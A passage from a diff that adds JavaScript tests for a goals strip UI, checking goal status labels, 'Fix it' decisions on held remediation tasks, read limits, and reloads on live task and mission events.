+ const held = goal({ status: 'fixing', mode: 'suggest', checks: [failedCheck()], open_mission: { id: 'm1', title: 'Restore', status: 'active', attempt: 1, opened_at: minsAgo(20), run_task_id: 't_run', cause: 'x' } });
+ assert.equal(st(held), 'needs_you');
+ assert.equal(st(goal()), 'met');
+ assert.equal(b.goalStatusLook('met').label, 'OK');
+ assert.equal(b.goalStatusLook('not_met').label, 'Failing');
+ assert.equal(b.goalStatusLook('needs_you').label, 'Needs you');
+ assert.equal(b.goalStatusLook('fixing').label, 'Fixing');
+});
+
+test('D7: a waiting goal says what it waits for from status_reason, without a read of its own', () => {
+ const w = goal({ status: 'waiting', status_reason: 'Restore: kwant.si is up' });
+ assert.equal(w.waiting_for, 'Restore: kwant.si is up');
+ assert.equal(goal({ status: 'waiting', waiting_for: 'g2', status_reason: 'x' }).waiting_for, 'g2', 'an explicit waiting_for wins');
+ assert.equal(goal({ status: 'met', status_reason: 'x' }).waiting_for, null, 'only a waiting goal reads it');
+ assert.match(text(b.rowHtml({ goal: w, names, now: NOW })), /Waiting/);
+});
+
+test('D8: the list is enough; a goal that wants a look and carries no mission info gets at most three detail reads', async () => {
+ const bare = (id) => b.parseGoal({ id, space_id: 's1', title: `T${id}`, kwant_id: 'k_cody', status: 'not_met', mode: 'suggest', interval_minutes: 60, created_at: minsAgo(60), updated_at: minsAgo(5), checks: [failedCheck()] });
+ assert.equal(bare('a').has_mission_info, false);
+ assert.equal(goal().has_mission_info, true, 'a list row with open_mission (even null) needs no read');
+ const list = ['a', 'b', 'c', 'd', 'e'].map(bare);
+ const api = fakeApi([], { list: async () => (api.calls.push(['list']), list), get: async (id) => (api.calls.push(['get', id]), b.parseGoalDetail({ goal: { ...list.find((x) => x.id === id), open_mission: incident().open_mission }, checks: [failedCheck()], events: [], fix_tasks: [], missions: [] })) });
+ const m = await mount(b.GoalsStrip, { names, now: NOW, api });
+ await settle(50);
+ assert.ok(api.calls.filter((c) => c[0] === 'get').length <= 3, 'at most three reads per list load');
+ m.done();
+ const met = fakeApi([goal()]);
+ const m2 = await mount(b.GoalsStrip, { names, now: NOW, api: met, initial: { goals: [goal()] } });
+ await settle(20);
+ assert.equal(met.calls.filter((c) => c[0] === 'get').length, 0, 'OK goals are never read');
+ m2.done();
+});
+
+test('D9: Keep this true shows once per task; a repeat says Already kept true, and a goal’s own fix task has no button', async () => {
+ const passing = { id: 'ck1', kind: 'command', command: 'npm test', status: 'passed', required: true, label: 'Tests', spec: { command: 'npm test' } };
+ const task = { id: 't1', title: 'Add tests', state: 'verified', owner_kwant_id: 'k_cody' };
+ const fresh = (over) => goal({ id: 'gk', title: 'Add tests', status: 'checking', created_at: new Date().toISOString(), ...over });
+ const run = async (made) => {
+ const calls = [];
+ const m = await mount(b.KeepTrueBox, { task, checks: [passing], names, api: { fromTask: async (id) => (calls.push(id), made), approve: async (id) => (calls.push(['approve', id]), made) }, onOpenGoal() {} });
+ await m.click('[data-keep-true]');
+ await m.click('[data-keep-true-yes]');
+ await settle();
+ const t = m.q('[data-keep-true-done]').textContent.trim();
+ m.done();
+ return { t, calls };
+ };
+ const first = await run(fresh());
+ assert.match(first.t, /^Goal added: “Add tests”\. It’s checked every 1 hour\./);
+ assert.deepEqual(first.calls, ['t1']);
+ const again = await run(fresh({ created_at: minsAgo(30) }));
+ assert.match(again.t, /^Already kept true: “Add tests”\./);
+ assert.doesNotMatch(again.t, /Goal added/);
+
+ const board = readFileSync(new URL('../src/components/MissionBoardView.tsx', import.meta.url), 'utf8');
+ assert.match(board, /!inGoalMission && <KeepTrueBox/, 'no Keep this true on a task inside a goal’s remediation mission');
+ assert.match(board, /inGoalMission=\{!!missionGoalLink\(/);
+});
+
+// The real server's shapes (Rigel, #229 on #234 + #231): a goal in suggest mode whose Investigate finished comes back
+// as status needs_you / status_reason fix_ready, with open_mission.run_task_id set and `diagnosis` a plain string;
+// its events carry integer ids.
+const fixReady = (over = {}) =>
+ goal({
+ id: 'g1', status: 'needs_you', status_reason: 'fix_ready', mode: 'suggest', checks: [failedCheck()],
+ diagnosis: 'The disk is full. Delete old logs.',
+ open_mission: { id: 'm1', title: 'Restore: The site stays up', status: 'active', attempt: 1, opened_at: minsAgo(20), run_task_id: 't_run' },
+ ...over,
+ });
+
+test('server shape: needs_you / fix_ready with a held task is the Fix it decision, not a dead end', () => {
+ const g1 = fixReady();
+ const d = b.goalDecision(g1, [], NOW, null);
+ assert.equal(d.kind, 'run');
+ assert.equal(d.taskId, 't_run');
+ assert.equal(d.phase, 'ready');
+ assert.equal(b.displayStatus(g1, [], NOW), 'needs_you', 'still drawn as Needs you');
+ assert.match(b.stripSummary([g1], NOW), /1 needs you/);
+ const row = b.rowHtml({ goal: g1, names, now: NOW, onAction() {}, decision: d });
+ for (const a of ['data-goal-fix', 'data-goal-not-now', 'data-goal-always']) assert.match(row, new RegExp(a), `row ${a}`);
+ const full = b.detailHtml({ detail: b.parseGoalDetail({ goal: g1, checks: g1.checks, events: [], fix_tasks: [], missions: [] }), names, now: NOW });
+ for (const a of ['data-goal-fix', 'data-goal-not-now', 'data-goal-always']) assert.match(full, new RegExp(a), `drawer ${a}`);
+ assert.match(text(full), /The disk is full\. Delete old logs\./);
+ assert.doesNotMatch(text(full), /Nothing runs on its own until you act/);
+ // Not now on this device: declined, not a request. A failed look is still named.
+ assert.equal(b.goalDecision(g1, [], NOW, 't_run').kind, 'declined');
+ const failed = [{ id: '7', kind: 'investigated', actor: 'kwant', detail: { failed: true }, created_at: minsAgo(3) }];
+ assert.equal(b.goalDecision(g1, failed, NOW, null).phase, 'failed');
+ // No held task: nothing to release, so it stays a plain Needs you with the reason in words.
+ const none = fixReady({ open_mission: null });
+ assert.equal(b.goalDecision(none, [], NOW, null).kind, 'needs_you');
+ assert.match(b.needsYouText('fix_ready'), /^Needs you: a fix is ready/);
+ // The other Needs you reasons are unchanged.
+ assert.equal(b.goalDecision(fixReady({ status_reason: 'budget_spent' }), [], NOW, null).kind, 'needs_you');
+});
+
+test('server shape: goal events with integer ids are read', () => {
+ const ev = (id, kind, detail) => ({ id, kind, actor: 'kwant', detail, created_at: minsAgo(30 - id) });
+ const g1 = fixReady();
+ const detail = b.parseGoalDetail({
+ goal: g1, checks: g1.checks, fix_tasks: [], missions: [],
+ events: [ev(6, 'investigated', { failed: true }), ev(5, 'not_met', {}), { id: 4.5, kind: 'checked', actor: 'kwant', detail: '{"x":1}', created_at: minsAgo(40) }, { id: null, kind: 'bad' }],
+ });
+ assert.deepEqual(detail.events.map((e) => e.id), ['4.5', '5', '6'], 'integer ids kept as strings; ones with no id still dropped');
+ assert.equal(b.diagnosisPhase(g1, detail.events, NOW), 'failed', 'investigated.detail.failed sees the event');
+ const html = text(b.detailHtml({ detail, names, now: NOW }));
+ assert.doesNotMatch(html, /Nothing has happened yet/);
+});
+
+// F3 (Rigel): after Fix it the server flips the goal to `fixing` about 25 s later when the task is claimed, and says so
+// only through task_updated / mission_updated, never goal_updated.
+test('live: a goal’s fix being claimed (task_updated / mission_updated, no goal_updated) reloads the strip', async () => {
+ const held = fixReady();
+ const released = fixReady({ open_mission: { id: 'm1', title: 'Restore: The site stays up', status: 'active', attempt: 1, opened_at: minsAgo(20), run_task_id: null } });
+ const fixing = goal({ id: 'g1', status: 'fixing', mode: 'suggest', checks: [failedCheck()], diagnosis: 'The disk is full. Delete old logs.', open_mission: released.open_mission });
+ let list = [held];
+ const api = incidentApi([held], { list: async () => (incidentApi.calls.push(['list']), list.map((x) => ({ ...x }))) });
+ used();
+ const m = await mount(b.GoalsStrip, { names, now: NOW, api });
+ const reads = () => incidentApi.calls.filter((c) => c[0] === 'list').length;
+ assert.equal(m.q('[data-goal="g1"]').dataset.status, 'needs_you');
+ assert.ok(m.q('[data-goal-fix]'), 'Fix it is offered');
+
+ // Fix it: the held task is released, but the server still says needs_you / fix_ready until the claim.
+ list = [released];
+ await m.click('[data-goal-fix]');
+ await settle(300);
+ assert.deepEqual(incidentApi.calls.filter((c) => c[0] === 'runFix').map((c) => c[1]), ['t_run']);
+ assert.equal(m.q('[data-goal="g1"]').dataset.status, 'fixing', 'released and unclaimed reads Fixing, not a dead-end Needs you');
+ assert.doesNotMatch(m.text(), /Nothing runs on its own until you act/);
+ assert.ok(!m.q('[data-goal-fix]'), 'no second Fix it');
+
+ // An unrelated task does not reload anything.
+ const before = reads();
+ b.emitMission({ type: 'task_updated', data: { task: { id: 'other', mission_id: 'm_other' } } });
+ await settle(300);
+ assert.equal(reads(), before, 'a task of no goal is ignored');
+
+ // The claim: the server now says fixing, and announces only the task. One read for a burst.
+ list = [fixing];
+ b.emitMission({ type: 'task_updated', data: { task: { id: 't_run', mission_id: 'm1', state: 'running' } } });
+ b.emitMission({ type: 'task_updated', data: { task: { id: 't_run', mission_id: 'm1', state: 'running' } } });
+ b.emitMission({ type: 'mission_updated', data: { mission: { id: 'm1', goal_link: { id: 'g1', title: 'The site stays up' } } } });
+ await settle(300);
+ assert.equal(reads(), before + 1, 'a burst of task and mission events is one read');
+ assert.equal(m.q('[data-goal="g1"]').dataset.status, 'fixing');
+ m.done();
+
+ // A goal whose fix was never touched here still reloads on its own mission's task (another tab pressed Fix it).
+ list = [held];
+ const m2 = await mount(b.GoalsStrip, { names, now: NOW, api });
+ const r2 = reads();
+ list = [fixing];
+ b.emitMission({ type: 'task_updated', data: { task: { id: 't_run', mission_id: 'm1' } } });
+ await settle(300);
+ assert.equal(reads(), r2 + 1);
+ assert.equal(m2.q('[data-goal="g1"]').dataset.status, 'fixing');
+ m2.done();
+ assert.equal(b.liveTouchesGoalFix([held], { taskId: 'x', missionId: 'y' }), false);
+ assert.equal(b.liveTouchesGoalFix([held], { missionId: 'zzz', goalId: 'g1' }), true);
+});
+
+test('Fix it refused with not_held (another tab pressed Run) reloads the goal and says it is already being fixed', async () => {
+ const held = fixReady();
+ const fixing = goal({ id: 'g1', status: 'fixing', mode: 'suggest', checks: [failedCheck()], diagnosis: 'The disk is full. Delete old logs.', open_mission: { ...held.open_mission, run_task_id: null } });
+ let list = [held];
+ const api = incidentApi([held], {
+ list: async () => (incidentApi.calls.push(['list']), list.map((x) => ({ ...x }))),
+ runFix: async () => { throw new b.MissionError('The task isn’t on hold.', 409, 'not_held'); },
+ });
+ used();
+ const m = await mount(b.GoalsStrip, { names, now: NOW, api });
+ list = [fixing];
+ await m.click('[data-goal-fix]');
+ await settle(50);
+ assert.match(m.text(), /already being fixed/);
+ assert.doesNotMatch(m.text(), /isn’t on hold/);
+ assert.equal(m.q('[data-goal="g1"]').dataset.status, 'fixing', 'the goal was read again');
+ assert.ok(!m.q('[data-goal-fix]'), 'the stale buttons are gone');
+ m.done();
+});